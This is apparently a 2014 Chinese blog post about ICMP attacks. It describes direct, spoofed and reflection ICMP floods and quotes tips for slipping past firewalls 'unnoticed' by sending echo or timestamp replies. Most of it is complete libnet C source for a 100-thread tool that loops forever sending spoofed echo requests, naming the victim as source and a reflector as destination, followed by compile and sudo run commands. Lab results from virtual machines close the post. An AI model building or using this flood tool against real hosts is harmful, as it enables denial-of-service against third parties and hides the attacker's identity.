(C)libnet-ICMP攻击

刚开始接到的任务是,要求主机A给主机B发送ICMP数据包,将源IP和目的IP都填成B的IP,使B接受自己给自己的ICMP回应包,如下图:

 

 

发现这样不足以对B产生影响,于是打算借助别的服务器,如下图:

后来才知道自己做的其实是ICMP攻击。

ICMP攻击分为三种方式:

1、直接flood

缺点:需要足够的带宽,而且容易暴露自己的IP。

2、伪造IP的Flood

3、反射

这应该就是我上面的那种方法了吧。

把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!(我的两种方式效果就很不同)

引用别人的博客:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、4、11的特殊报文会不会有更大效果。

以下是源代码:

sendicmp.c

#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#include <libnet.h>
#define THREAD_NUM 100

pthread_t thread[THREAD_NUM];
struct parameter{
char *destination_ip_str;/* 目的IP地址字符串 */
char *source_ip_str; /* 源IP地址字符串 */
};
void *mythread(void * arg)
{
    int i;
    struct parameter *pstru ;
    pstru=(struct parameter *)arg;
    libnet_t *l = NULL;/* libnet句柄 */
    libnet_ptag_t protocol_tag;/* 协议标记 */
    char *payload_liu_wen_tao = NULL; /* 负载 */
    u_short payload_length = 0; /* 负载长度 */
    char *device = "eth0";/*网络设备接口*/

    u_long source_ip = 0; /* 源IP地址 */
    u_long destination_ip = 0; /* 目的IP地址 */
    char errbuf[LIBNET_ERRBUF_SIZE]; /* 错误信息 */
    int packet_length; /* 发送的数据包的长度 */
    l = libnet_init( /* 初始化libnet */
    LIBNET_RAW4, /* libnet类型,为原始套接字IPv4类型 */
    device,  /* 网络设备接口 */errbuf /* 错误信息 */
    );
    source_ip = libnet_name2addr4(l, pstru->source_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串形式转化为网络字节顺序的数据 */
    destination_ip = libnet_name2addr4(l, pstru->destination_ip_str, LIBNET_RESOLVE);
    /* 把目的IP地址字符串形式转化为网络字节顺序的数据 */
    protocol_tag = libnet_build_icmpv4_echo( /* 构造ICMP回显数据包 */
    ICMP_ECHO, /* 类型,此时为回显请求 */
    0,/* 代码,应该为0 */
    0, /* 校验和,为0,表示由libnet句柄自动计算 */
    123,  /* 标识符,赋值为123,自己任意填写数值 */
    456, /* 序列号,赋值为245,自己任意填写数值 */
    NULL,  /* 负载,赋值为空 */
    0, /* 负载的长度,赋值为0 */
    l, /* libnet句柄,应该是由libnet_init()函数得到的 */
    0  /* 协议块标记,赋值为0,表示构造一个新的协议块 */
    );
    protocol_tag = libnet_build_ipv4(/* 构造IP协议块 */
    LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_length,/* IP协议块的长度 */
    0, /* 服务质量,这里赋值为0 */
    10,  /* 标识符,这里赋值为10 */
    0, /* 偏移,这里赋值为0 */
    20,/* 生存时间,这里赋值为20 */
    IPPROTO_ICMP,/* 上层协议类型,这里是ICMP协议 */
    0, /* 校验和,这里为0表示由libnet计算校验和 */
    source_ip, /* 源IP地址 */
    destination_ip,/* 目的IP地址 */
    payload_liu_wen_tao, /* 负载 */
    payload_length, /* 负载的长度 */
    l,/* libnet句柄 */
    0 /* 协议块标记,为0表示构造一个新的IP协议块 */
    );
    while (1){
        packet_length = libnet_write(l); /* 发送由libnet句柄l表示的数据包 */
        printf("the length of the ICMP packet is %d\n", packet_length);
        /* 输出发送的数据包信息 */
        }
    libnet_destroy(l); /* 销毁libnet */
}

void thread_wait(void)
{
        /*等待线程结束*/
    int i;
    for(i=0;i<THREAD_NUM;i++)
        if(thread[i] !=0) {
                pthread_join(thread[i],NULL);
                //printf("线程%d已经结束\n",i+1);
        }

}
int main(int argc,char *argv[])
{
    struct parameter p;
    p.source_ip_str=argv[1];
    p.destination_ip_str=argv[2];
    printf("main:%s %s \n",p.source_ip_str,p.destination_ip_str);
    int temp,i;
        memset(&thread, 0, sizeof(thread));
        /*创建线程*/
    for(i=0;i<THREAD_NUM;i++)
        if((temp = pthread_create(&thread[i],NULL,mythread,&p)) != 0)
                printf("线程创建失败!\n");

        thread_wait();
        return 0;
}

 

 

在Ubuntu14.04中编译方法:gcc -o sendicmp sendicmp.c -lnet -lpthread
运行:sudo ./sendicmp 参数一 参数二(参数一是源IP,也就是被攻击者的IP,参数二是反射点IP)。

在VMware的虚拟机中测试,目标机接收数据包的流量最大只能达到3MB/S左右,而且目标机也没有很强烈的反应,效果不理想。另外,发送方的发包速率也不高,期望发送方的CPU全部用于发送数据包,但实际测试时CPU只能达到30-40%。暂时不知道有什么更好的改进方法。

后来在实验室的服务器上创建了七台虚拟机作为实验环境,实行方案如下:

实验效果:

 

另外一个思路是,自己写一个服务器,用来抓取A发送的ICMP包,将这个包的内容填充的更大,再发送给B,这样可能B接收到的流量会有所提高,不过现在只会抓包(用libcap抓包的代码在另一篇文章里),不知道怎么填充数据,有待研究。

posted @ 2014-12-18 16:59  云裳诉  阅读(1245)  评论(0编辑  收藏  举报